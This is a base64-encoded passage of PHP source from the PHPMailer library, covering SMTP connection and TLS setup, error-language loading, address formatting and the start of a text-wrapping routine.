AgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID